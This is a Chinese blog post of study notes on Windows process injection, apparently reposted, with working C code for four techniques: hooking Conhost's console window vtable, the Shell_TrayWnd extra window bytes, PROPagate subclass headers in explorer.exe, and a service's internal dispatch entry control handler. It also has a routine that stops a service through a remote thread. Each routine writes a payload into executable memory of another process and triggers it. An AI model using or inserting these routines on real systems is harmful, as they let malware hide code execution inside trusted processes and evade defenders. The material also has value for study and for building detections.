openprocess打开进程失败_Windows不太常见的进程注入学习小记(一)

注:本篇文章经作者授权转载

进程注入

以下是自学习相关进程注入时写的笔记。

HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表

控制台应用程序窗口所属于的窗口类为ConsoleWindowClass,窗口中保存的用户数据并不在控制台程序的地址空间之中,而在Conhost.exe之中。用户数据的第一个8字节或4字节中保存的是该类的虚表地址。

以修改ConHost中对于消息处理的虚函数表中的虚函数指针为手段,而Conhost.exe保存的用户数据在堆中是可写属性,导致了可以HOOK对应虚函数指针。d0600068a7bbc54bb971ff5a04c1a1af.png
这个是Conhost中保存的控制台窗口类行为的虚表原型:

typedef struct _vftable_t {    ULONG_PTR     EnableBothScrollBars;    ULONG_PTR     UpdateScrollBar;    ULONG_PTR     IsInFullscreen;    ULONG_PTR     SetIsFullscreen;    ULONG_PTR     SetViewportOrigin;    ULONG_PTR     SetWindowHasMoved;    ULONG_PTR     CaptureMouse;    ULONG_PTR     ReleaseMouse;    ULONG_PTR     GetWindowHandle;    ULONG_PTR     SetOwner;    ULONG_PTR     GetCursorPosition;    ULONG_PTR     GetClientRectangle;    ULONG_PTR     MapPoints;    ULONG_PTR     ConvertScreenToClient;    ULONG_PTR     SendNotifyBeep;    ULONG_PTR     PostUpdateScrollBars;    ULONG_PTR     PostUpdateTitleWithCopy;    ULONG_PTR     PostUpdateWindowSize;    ULONG_PTR     UpdateWindowSize;    ULONG_PTR     UpdateWindowText;    ULONG_PTR     HorizontalScroll;    ULONG_PTR     VerticalScroll;    ULONG_PTR     SignalUia;    ULONG_PTR     UiaSetTextAreaFocus;    ULONG_PTR     GetWindowRect;} ConsoleWindow;

通过GetWindowLongPtr(hwnd, GWLP_USERDATA);可以获取用户数据地址,然后通过常规的ReadProcessMemory、WriteProcessMemory、VirtualAllocEx即可将对应的虚函数做更改。

整体代码如下:

VOID conhostInject(LPVOID payload, DWORD payloadSize) {    HWND          hwnd;    LONG_PTR      udptr;    DWORD         pid, ppid;    SIZE_T        wr;    HANDLE        hp;    ConsoleWindow cw;    LPVOID        cs, ds;    ULONG_PTR     vTable;     // 1. 找到具有ConsoleWindowClass窗口类的窗口句柄    hwnd = FindWindow(L"ConsoleWindowClass", NULL);    //通过窗口句柄找到对应进程的PID    GetWindowThreadProcessId(hwnd, &ppid);     // 2. 通过对比进程名和父进程句柄找到Conhost进程的pid    pid = conhostId(ppid);     if (pid==0) {      printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);      return;    }    // 3.打开conhost进程    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);     // 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload    cs = VirtualAllocEx(hp, NULL, payloadSize,      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);     // 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);    ReadProcessMemory(hp, (LPVOID)udptr,        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);     // 6. 获取原本的虚表内容    ReadProcessMemory(hp, (LPVOID)vTable,      (LPVOID)&cw, sizeof(ConsoleWindow), &wr);     // 7. 在conhost进程中申请堆空间保存自定义的虚表内容。    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);    // 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。    cw.GetWindowHandle = (ULONG_PTR)cs;    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);     // 9. 将虚表指针hook    WriteProcessMemory(hp, (LPVOID)udptr, &ds,      sizeof(ULONG_PTR), &wr);     // 10. 发消息测试    SendMessage(hwnd, WM_SETFOCUS, 0, 0);     // 11. 更改为原来的虚表指针    WriteProcessMemory(hp, (LPVOID)udptr, &vTable,      sizeof(ULONG_PTR), &wr);     // 12. 释放内存。    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);     CloseHandle(hp);}

HOOK Shell_TrayWnd窗口类的虚表

可以看到explorer.exe之中具有窗口类。

6d28de14ffe648d3d5ca23a90a8c96d0.png

5853bba838f85cbcfc2d300e11b6f6c0.png

和第一个没什么太大的不一样,唯一的区别是该窗口类的虚表常规的保存在创建窗口的进程之中。

原型:

typedef struct _ctray_vtable {    ULONG_PTR vTable;    // change to remote memory address    ULONG_PTR AddRef;    // add reference    ULONG_PTR Release;   // release procedure    ULONG_PTR WndProc;   // window procedure (change to payload)} CTray; typedef struct _ctray_obj {    CTray *vtbl;} CTrayObj;

代码:

VOID extraBytes(LPVOID payload, DWORD payloadSize){    LPVOID    cs, ds;    CTray     ct;    ULONG_PTR ctp;    HWND      hw;    HANDLE    hp;    DWORD     pid;    SIZE_T    wr;     hw = FindWindow(L"Shell_TrayWnd", NULL);     GetWindowThreadProcessId(hw, &pid);     hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);     ctp = GetWindowLongPtr(hw, 0);     ReadProcessMemory(hp, (LPVOID)ctp,        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);     ReadProcessMemory(hp, (LPVOID)ct.vTable,      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);     cs = VirtualAllocEx(hp, NULL, payloadSize,      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);     WriteProcessMemory(hp, cs, payload, payloadSize, &wr);     ds = VirtualAllocEx(hp, NULL, sizeof(ct),      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);     ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);    ct.WndProc = (ULONG_PTR)cs;     WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);     SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);      PostMessage(hw, WM_CLOSE, 0, 0);      SetWindowLongPtr(hw, 0, ctp);      VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);     CloseHandle(hp);}

与窗口子类化有关注入——PROPagate

当窗口被子类化的时候,久的窗口过程并不会被删除,而是被存储在后台隐藏运行。存储的节点为UxSubclassInfo或者CC32SubclassInfo的属性之中;命名名称是根据comctl32.dll的版本来决定的。

版本6.x对应的名称是UxSubclassInfo;版本5.x对应的名称是CC32SubclassInfo。

当使用SetWindowSubclass函数时,会调用SetProp 这个API会将旧的函数过程存储在UxSubclassInfo或者CC32SubclassInfo属性值中。当有对应的消息到来的时候,将会在子类化的窗口调用GetProp这个API获取旧的窗口过程并执行。(PS:以上是看资料总结的,总感觉理解上面有问题。如果有师傅比较较真的话,可以尝试自己子类化一个窗口,通过其句柄获取UxSubclassInfo属性,然后判断一下这个属性+0x18的偏移所保存的到底是旧的窗口过程还是新的窗口过程,还是说都有?只是调用的顺序不同?,如果有师傅做了实验的话不妨在下面告诉我一下,感激不尽)

这个属性的结构主要如下:

typedef struct _SUBCLASS_CALL {  SUBCLASSPROC pfnSubclass;    // subclass procedure  WPARAM       uIdSubclass;    // unique subclass identifier  DWORD_PTR    dwRefData;      // optional ref data} SUBCLASS_CALL, PSUBCLASS_CALL; typedef struct _SUBCLASS_FRAME {  UINT                    uCallIndex;   // index of next callback to call  UINT                    uDeepestCall; // deepest uCallIndex on stack  struct _SUBCLASS_FRAME  *pFramePrev;  // previous subclass frame pointer  struct _SUBCLASS_HEADER *pHeader;     // header associated with this frame} SUBCLASS_FRAME, PSUBCLASS_FRAME; typedef struct _SUBCLASS_HEADER {  UINT           uRefs;        // subclass count  UINT           uAlloc;       // allocated subclass call nodes  UINT           uCleanup;     // index of call node to clean up  DWORD          dwThreadId;   // thread id of window we are hooking  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer  SUBCLASS_CALL  CallArray[1]; // base of packed call node array} SUBCLASS_HEADER, *PSUBCLASS_HEADER;

32位系统下可以看到在偏移0x18的处保存的窗口过程。

只需要在具有该窗口属性里的进程里将该回调函数进行HOOK,然后将其恢复即可,

在Win7和部分WIn10(最新版win10里没有)里经常使用该窗口,父类名Progman,子类名SHELLDLL_DefView。

669784de53aaa2acedcbecdbeae28631.png

VOID propagate(LPVOID payload, DWORD payloadSize) {    HANDLE          hp, p;    DWORD           id;    HWND            pwh, cwh;    SUBCLASS_HEADER sh;    LPVOID          psh, pfnSubclass;    SIZE_T          rd,wr;     // 1. Obtain the parent window handle    pwh = FindWindow(L"Progman", NULL);     // 2. Obtain the child window handle    cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);     // 3. Obtain the handle of subclass header    p = GetProp(cwh, L"UxSubclassInfo");     // GetProcessHandleFromHwnd    // 4. Obtain the process id for the explorer.exe    GetWindowThreadProcessId(cwh, &id);     // 5. Open explorer.exe    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);     // 6. Read the contents of current subclass header    ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);     // 7. Allocate RW memory for a new subclass header    psh = VirtualAllocEx(hp, NULL, sizeof(sh),        MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);     // 8. Allocate RWX memory for the payload    pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);     // 9. Write the payload to memory    WriteProcessMemory(hp, pfnSubclass,        payload, payloadSize, &wr);     // 10. Set the pfnSubclass field to payload address, and write    //    back to process in new area of memory    sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;    WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);     // 11. update the subclass procedure with SetProp    SetProp(cwh, L"UxSubclassInfo", psh);     // 12. Trigger the payload via a windows message    PostMessage(cwh, WM_CLOSE, 0, 0);     // 13. Restore original subclass header    SetProp(cwh, L"UxSubclassInfo", p);     // 14. free memory and close handles    VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);    VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);     CloseHandle(hp);}

通过HOOK服务的IDE来实现进程注入

每个Windows服务都有一个“控制处理程序”以从操作系统接收控制代码。根据服务愿意接受的内容,可以查询,启动,停止,暂停或恢复服务的更常见控制代码。指向控制处理程序的指针存储在堆上的数据结构中,Microsoft将其称为“内部调度项”(IDE)。(PS:以上是谷歌翻译的结果,这个描述怎么这么像SCM???)

Win 7的IDE结构

typedef struct _INTERNAL_DISPATCH_ENTRY {    LPWSTR                  ServiceName;    LPWSTR                  ServiceRealName;    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;    LPHANDLER_FUNCTION_EX   ControlHandler;    HANDLE                  StatusHandle;    DWORD                   ServiceFlags;    DWORD                   Tag;    HANDLE                  MainThreadHandle;    DWORD                   dwReserved;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

Win10的IDE结构

typedef struct _INTERNAL_DISPATCH_ENTRY {    LPWSTR                  ServiceName;    LPWSTR                  ServiceRealName;    LPWSTR                  ServiceName2;       // Windows 10    LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;    LPHANDLER_FUNCTION_EX   ControlHandler;    HANDLE                  StatusHandle;    DWORD64                 ServiceFlags;        // 64-bit on windows 10    DWORD64                 Tag;    HANDLE                  MainThreadHandle;    DWORD64                 dwReserved;    DWORD64                 dwReserved2;} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;

通过HOOK IDE的ControlHandler字段,可以实现进程注入。

具体方法为:通过服务名得到服务的进程相关信息;在服务的进程之中通过搜索内存比对IDE的ServiceRealName和传入的服务名参数来找到IDE;将IDE中的ServiceFlags修改为SERVICE_CONTROL_INTERROGATE;然后HOOK IDE中的ControlHandler,通过SCM向其发送SERVICE_CONTROL_INTERROGATE的控制码,触发被HOOK的函数;然后恢复。

具体代码如下:

VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {    SIZE_T                  wr;    SC_HANDLE               hm, hs;    INTERNAL_DISPATCH_ENTRY ide;    HANDLE                  hp;    LPVOID                  cs;    SERVICE_STATUS          ss;     wprintf(L"[*] Attempting to inject PIC into \"%s\"...\n", se->process);     // open the service control manager    hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);    if (hm != NULL) {      // open target service      hs = OpenService(hm, se->service, SERVICE_INTERROGATE);      if (hs != NULL) {        // open target process        hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);        if (hp != NULL) {          // allocate memory for payload          cs = VirtualAllocEx(hp, NULL, payloadSize,            MEM_COMMIT, PAGE_EXECUTE_READWRITE);          if (cs) {            // write payload to process space            WriteProcessMemory(hp, cs, payload, payloadSize, &wr);            // create backup of IDE            memcpy(&ide, &se->ide, sizeof(ide));            // point ControlHandler to payload            ide.ControlHandler = cs;            // change flags            ide.ServiceFlags   = SERVICE_CONTROL_INTERROGATE;            // update IDE in remote process            WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr);            // trigger payload            wprintf(L"[*] Set a breakpoint on %p\n", cs);            getchar();            ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);            xstrerror(L"ControlService");            // free payload from memory            VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);            // restore original IDE            WriteProcessMemory(hp, se->ide_addr,              &se->ide, sizeof(ide), &wr);          } else xstrerror(L"VirtualAllocEx");          CloseHandle(hp);      // close process        } else xstrerror(L"OpenProcess");        CloseServiceHandle(hs); // close service      } else xstrerror(L"OpenService");      CloseServiceHandle(hm);   // close manager    }}

其也可以通过远程创建线程的方式关闭服务。

BOOL StopService(PSERVICE_ENTRY se){    DWORD                   evt;    HANDLE                  hThread, hProcess;    RtlCreateUserThread_t   pRtlCreateUserThread;    BOOL                    bResult=FALSE;     wprintf(L"[*] Attempting to stop service...\n");     hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);     if(hProcess == NULL) {      xstrerror(L"StopService::OpenProcess");      return 0;    }    // resolve address of RtlCreateUserThread    // CreateRemoteThread won't work here..    pRtlCreateUserThread=      (RtlCreateUserThread_t)GetProcAddress(      LoadLibrary(L"ntdll"), "RtlCreateUserThread");     // got it?    if (pRtlCreateUserThread!=NULL) {      // execute the ControlHandler in remote process space      pRtlCreateUserThread(hProcess, NULL, FALSE,          0, NULL, NULL, se->ide.ControlHandler,          (LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);       bResult = (hThread != NULL);       // if thread created      if (bResult) {        // wait 5 seconds for termination        evt = WaitForSingleObject(hThread, 5*1000);        bResult = (evt == WAIT_OBJECT_0);         CloseHandle(hThread);      }      wprintf(L"[*] Service %s stopped.\n",        bResult ? L"successfully" : L"unsuccessfully");    }    CloseHandle(hProcess);    return bResult;}

参考文章

  • Windows Process Injection: ConsoleWindowClass

  • Windows Process Injection: Extra Window Bytes

  • Windows Process Injection: PROPagate

  • Windows Process Injection: Service Control Handler

喜欢就关注我们吧,不定期会有干货分享哦!

a3f35b09db00636ba3c335a70442a5d8.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值